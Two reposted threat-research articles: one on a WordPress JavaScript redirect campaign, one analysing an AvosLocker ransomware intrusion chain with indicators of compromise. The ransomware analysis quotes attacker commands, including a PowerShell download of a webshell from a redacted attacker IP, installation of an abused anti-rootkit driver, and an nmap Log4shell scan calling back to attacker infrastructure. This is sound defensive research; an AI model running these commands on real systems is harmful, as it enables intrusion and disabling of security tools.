Our remediation and research teams regularly find malicious redirects on client sites. These infections automatically redirect site visitors to third-party websites with malicious resources, scam pages, or commercial websites with the intention of generating illegitimate traffic.

As outlined in our latest hacked website report, we’ve been tracking a long-lasting campaign responsible for injecting malicious scripts into compromised WordPress websites. This campaign leverages known vulnerabilities in WordPress themes and plugins and has impacted an enormous number of websites over the year — for example, according to PublicWWW, the April wave for this campaign was responsible for nearly 6,000 infected websites alone.

Since these PublicWWW results only show detections for simple script injections, we can assume that the scope is significantly larger.

Investigating Obfuscated JavaScript in WordPress Sites

We recently investigated a number of WordPress websites complaining about unwanted redirects. Interestingly enough, they were found to be related to a new wave of this massive campaign and were sending website visitors through a series of website redirects to serve them unwanted ads.

The websites all shared a common issue — malicious JavaScript had been injected within their website’s files and the database, including legitimate core WordPress files such as:

  • ./wp-includes/js/jquery/jquery.min.js
  • ./wp-includes/js/jquery/jquery-migrate.min.js

Once the website had been compromised, attackers had attempted to automatically infect any .js files with jQuery in the names. They injected code that begins with “/* trackmyposs*/eval(String.fromCharCode…”

However, it was clear that the attackers had taken some measures to evade detection and had obfuscated their malicious JavaScript with CharCode, as seen below.

Malicious JavaScript injection obfuscated with CharCode
Malicious JavaScript injection obfuscated with CharCode

Once deobfuscated, the true behavior of the injection emerged.

Deobfuscated malicious JavaScript redirects site visitors on page load
Deobfuscated malicious JavaScript redirects site visitors on page load

This JavaScript was appended under the current script or under the head of the page where it was fired on every page load, redirecting site visitors to the attacker’s destination.

Malicious Chain of Redirects

To accomplish these redirects, the malicious injection creates a new script element with the legendarytable[.]com domain as the source.

The code from the legendarytable[.]com domain then calls to a second external domain — local[.]drakefollow[.]com — which calls from links[.]drakefollow[.]com, redirecting the site visitor to one of many different domains including:

  • bluestringline[.]com
  • browntouchmysky[.]com
  • redstringline[.]com
  • whitetouchmysky[.]com
  • gregoryfavorite[.]space
  • gregoryfavorite[.]top
  • pushnow[.]net/

At this point, it’s a free for all. Domains at the end of the redirect chain may be used to load advertisements, phishing pages, malware, or even more redirects.

From a site visitor’s perspective, they’ll simply see the following malware page before landing on the final destination.

Malicious redirect landing page
Malicious redirect landing page

This page tricks unsuspecting users into subscribing to push notifications from the malicious site. If they click on the fake CAPTCHA, they’ll be opted in to receive unwanted ads even when the site isn’t open — and ads will look like they come from the operating system, not from a browser.

These sneaky push notification opt-in maneuvers also happen to be one of the most common ways attackers display “tech support” scams, which inform users that their computer is infected or slow and they should call a toll-free number to fix the problem.

Detecting Malicious JavaScript via SiteCheck

Client-side redirects are initiated by the site visitors’ browser once the infected web page has been loaded. Since this particular infection is found client-side, remote website scanners like SiteCheck can help scan a website and identify this malware.

Here’s an example of a SiteCheck results page for this specific campaign.

SiteCheck results for malicious Javascript injection
SiteCheck results for malicious Javascript injection

At the time of writing, PublicWWW has reported 322 websites impacted by this new wave for the malicious drakefollow[.]com domain. Considering that this count doesn’t include obfuscated malware or sites that have not yet been scanned by PublicWWW, the actual number of impacted websites is likely much higher.

Conclusion & Mitigation Steps

Our team has seen an influx in complaints for this specific wave of the massive campaign targeting WordPress sites beginning May 9th, 2022, which has impacted hundreds of websites already at the time of writing.

It has been found that attackers are targeting multiple vulnerabilities in WordPress plugins and themes to compromise the website and inject their malicious scripts. We expect the hackers will continue registering new domains for this ongoing campaign as soon as existing ones become blacklisted.

If you believe that your website has been infected with malicious JavaScript or you have found unwanted redirects to spam or ads on your site, you can use our free remote website scanner to detect the malware.

Website owners who have identified malware on their website can leverage the instructions found in our hacked WordPress cleanup guide  — and, as always, we’re happy to help clean up an infection if you need a hand.

Source :
https://blog.sucuri.net/2022/05/massive-wordpress-javascript-injection-campaign-redirects-to-ads.html

AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell

We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).  In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.

Infection chain

fig1-avoslocker-ransomware-disables-av-scans-log4shell
Figure 1. AvosLocker infection chain

According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:

fig2-avoslocker-ransomware-disables-av-scans-log4shell
Figure 2. The ADSS exploit abusing CVE-2021-40539

Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.

Mapping the infection

The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process. 

fig3-avoslocker-ransomware-disables-av-scans-log4shell
Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.
fig4-avoslocker-ransomware-disables-av-scans-log4shell
Figure 4. HTA file connecting to the C&C

A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.

fig5-avoslocker-ransomware-disables-av-scans-log4shell
Figure 5. Obfuscated PowerShell script contains a shellcode

The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.

fig6-avoslocker-ransomware-disables-av-scans-log4shell
Figure 6. Gather system information

The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.

fig7-avoslocker-ransomware-disables-av-scans-log4shell
Figure 7. Executed with the /domain argument to collect username information
fig8-avoslocker-ransomware-disables-av-scans-log4shell
Figure 8. query user information for session data

The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.

fig9-avoslocker-ransomware-disables-av-scans-log4shell
Figure 9. The PowerShell downloading and installing AnyDeskMSI

We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.

fig10-avoslocker-ransomware-disables-av-scans-log4shell
Figure 10. Creating a new account with admin rights
fig11-avoslocker-ransomware-disables-av-scans-log4shell
Figure 11. Checking for anti-virus processes running

During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.

fig12-avoslocker-ransomware-disables-av-scans-log4shell
Figure 12. Terminating security products running

Tools and functions

Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:

  • Netscan: To scan for other endpoints
  • Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
  • Hacking tools Mimikatz and Impacket: For lateral movement
  • PDQ deploy: For mass deployment of malicious script to multiple endpoints
  • Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
fig13-avoslocker-ransomware-disables-av-scans-log4shell
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk

We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.  

fig14-avoslocker-ransomware-disables-av-scans-log4shell
Figure 14. Executing the anti-rootkit driver in the system

Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.

fig15-avoslocker-ransomware-disables-av-scans-log4shell
Figure 15. Detecting and deleting Mimikatz

We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.

fig16-avoslocker-ransomware-disables-av-scans-log4shell
Figure 16. Listing and terminating the security products found running in the compromised system

Verification: Manual replication of anti-virus disabling routine

We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :

  • EndpointBasecamp.exe
  • Trend Micro Endpoint Basecamp
  • ResponseService.exe
  • PccNTMon.exe
  • SupportConnector.exe
  • AOTAgent.exe
  • CETASvc.exe
  • CETASvc
  • iVPAgent.exe
  • tmwscsvc.exe
  • TMResponse
  • AOTAgentSvc
  • TMBMServer
  • iVPAgent
  • Trend Micro Web Service Communicator
  • Tmccsf
  • Tmlisten
  • Ntrtscan
  • TmWSCSvc
fig17-avoslocker-ransomware-disables-av-scans-log4shell
Figure 17. Searching for processes

We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.

fig18-avoslocker-ransomware-disables-av-scans-log4shell
Figure 18. Driver file preparing to disable an anti-virus product

The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.

fig19-avoslocker-ransomware-disables-av-scans-log4shell
Figure 19. DeviceIoControl as an argument with the current process ID

Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.

fig20-avoslocker-ransomware-disables-av-scans-log4shell
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).

Other executions and lateral movement

After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.

fig21-avoslocker-ransomware-disables-av-scans-log4shell
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)

We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.

fig22-avoslocker-ransomware-disables-av-scans-log4shell
Figure 22. XenArmor password recovery tool execution

We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap  –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server. 

fig23-avoslocker-ransomware-disables-av-scans-log4shell
Figure 23. Checking for log4shell

We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.

fig24-avoslocker-ransomware-disables-av-scans-log4shell
Figure 24. Running more system network configuration discovery scans

Deploying across the network

We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.

fig25-avoslocker-ransomware-disables-av-scans-log4shell
Figure 25. Deploying malicious batch scripts to other endpoints

The deployed batch script has the following commands:

  • Disable Windows Update and Microsoft Defender
fig26-avoslocker-ransomware-disables-av-scans-log4shell
Figure 26. Disable Microsoft defense services
  • Prevents safeboot execution of security products
fig27-avoslocker-ransomware-disables-av-scans-log4shell
Figure 27. Prevent security products’ execution
  • Create new administrator account
fig28-avoslocker-ransomware-disables-av-scans-log4shell
Figure 28. Create new account
  • Add the AutoStart mechanism for the AvosLocker executable (update.exe)
fig29-avoslocker-ransomware-disables-av-scans-log4shell
Figure 29. Add Autostart for ransomware executable
  • Disables legal notice caption
fig30-avoslocker-ransomware-disables-av-scans-log4shell
Figure 30. Disable legal notice
  • Set safeboot with networking and disables Windows Error Recovery and reboot
fig31-avoslocker-ransomware-disables-av-scans-log4shell
Figure 31. Setting and disabling network and specific Windows functions

Conclusion

While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).

This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.

Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.

However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.

Avast responded to our notification with this statement:

“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.

The below example shows that the blocking works (output from the “sc start” command):

               (SC) StartService FAILED 1275:

               This driver has been blocked from loading

The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.

All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.

For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”

Indicators of Compromise (IOCs) 

FileSHA256Detection
Malicious batch file componenta5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15Trojan.BAT.KILLAV.YACAA
AvosLocker executable05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5Ransom.Win32.AVOSLOCKER.SMYXBLNT
Mimikatz executable (x32 and x64)912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9HackTool.Win64.MIMIKATZ.ZTJA
e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98HackTool.Win32.Mimikatz.CNFW
Log4shell Nmap NSE scriptddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96Backdoor.Win32.CVE202144228.YACAH
Impacket tool14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8HackTool.Win32.Impacket.AA

Source :
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html